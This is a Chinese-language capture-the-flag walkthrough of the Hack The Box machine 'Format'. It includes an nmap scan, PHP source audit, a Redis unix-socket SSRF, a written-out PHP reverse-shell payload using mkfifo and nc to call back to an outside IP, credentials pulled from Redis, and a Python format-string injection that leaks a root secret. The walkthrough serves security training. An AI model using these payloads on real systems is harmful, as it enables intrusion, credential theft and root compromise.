Format

18

Format

Machine:Linux

Level:Medium

信息收集

Nmap

└─# nmap -sV -sC -A 10.10.11.213
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-22 02:14 GMT
Nmap scan report for app.microblog.htb (10.10.11.213)
Host is up (0.21s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http      nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Microblog
3000/tcp open  http      nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
8000/tcp open  http-alt?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/22%OT=22%CT=1%CU=30676%PV=Y%DS=2%DC=T%G=Y%TM=64E41A8
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11
OS:NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE8
OS:8%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53
OS:CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI
OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   255.54 ms 10.10.14.1
2   255.65 ms app.microblog.htb (10.10.11.213)

手工验证信息

80

​ 访问网页是个博客搭建网页,注册登录可以自定义二级域名,Edit site可以自己编写网页同时存在XSS但没什么用,同时发现有回显。

3000

​ 该站点是一个git服务,上面托管了microblog的代码,对代码审计发现发送的请求是可以在id的路径文件上写入txt文件内容。我们尝试可以尝试写入反向shell

//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $txt_nl = nl2br($_POST['txt']);
    $html = "<div class = \"blog-text\">{$txt_nl}</div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

​ 但在写入反向shell之前我们需要将自己的域名升级成为Pro,这样我们才能写入有效的反向shell

function provisionProUser()
{
    if (isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

function isPro()
{
    if (isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}

8000

​ 无法访问

反弹shell

​ 这里使用Unix域套接字的方法把子域名赋为Pro

curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:aaa%20pro%20true%20a/b"

​ 将反向shell写入/var/www/microblog/aaa/uploads/*.php,监听并访问相应网站便可

id=/var/www/microblog/aaa/uploads/reshell.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.14+1234+>/tmp/f")%3b%3f>

​ 虽然获得了webshell,但我们还需要获得用户的shell

nc -lnvp 1234                                                           
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)    
$ python3 -c 'import pty;pty.spawn("bash")'
export TERM=xterm-256color
www-data@format:~/microblog/aaa/uploads$ 

权限提升

copper

​ 查看当前线程,发现redis,通过套接字连接并在其中找到了账密,通过ssh登录账号。

www-data@format:/home/cooper$ netstat -l
...
unix  2      [ ACC ]     STREAM     LISTENING     13347    /var/run/redis/redis.sock
unix  2      [ ACC ]     STREAM     LISTENING     13362    /run/php/php7.4-fpm.sock
$ redis-cli -s /run/redis/redis.sock 
KEYS *
aaa
cooper.dooper:sites
PHPREDIS_SESSION:gu0iqhfli7ea81ffiv3oof1vem
aaa:sites
cooper.dooper

TYPE cooper.dooper
hash

HGETALL cooper.dooper
username
cooper.dooper
password
[delete]

root

​ 查看自己能执行root权限的文件

cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

​ 审计代码得到当执行该脚本时,会使用unix域套接字连接Redis获取我们指定user表的所有字段和值并通过格式化字符串形成license_key并输出。由于usernamefirstlast是我们可以控制的且license_key由变量自由拼接,所以这个地方存在格式化字符串漏洞。

...
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
...
#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
...

​ 我们将恶意的数据数据写进Redis由于license.license可能会跟我们的密码混在一起,所以我们将代码写在last-name并通过first-name给我们指明密码。

cooper@format:~$ redis-cli -s /run/redis/redis.sock 
redis /run/redis/redis.sock> HMSET key first-name Thisisrootkey: last-name "{license.__init__.__globals__[secret]}" username root
OK
redis /run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p key

Plaintext license key:
------------------------------------------------------
microblogroot$$>y:Y7#uh^#H1"Gt[Sx([P7HVu|x17?m'];7h#AThisisrootkey:[delete]

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABk5FnNf6E_pj1R9Y3d-fzhkJhoRvAjsk7WjkHfHG1zSWM6vXv9dpkT5yUrtc8pYJ21PqoHEAkaf1rg-wJbbTSVuIawgFXox_N7HKaEBzSNZyi2h4dL9Mlxs6yH4VCjCWISHBTskc8U9aVjRMmjVf4i-B6wwiZudHWxiYdosyTW0ihhgD-jxL-wc8n9d-agiOxhtEM_

​ 得到密码就可以直接登录root了。

└─# ssh root@10.10.11.213
root@10.10.11.213's password: 
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)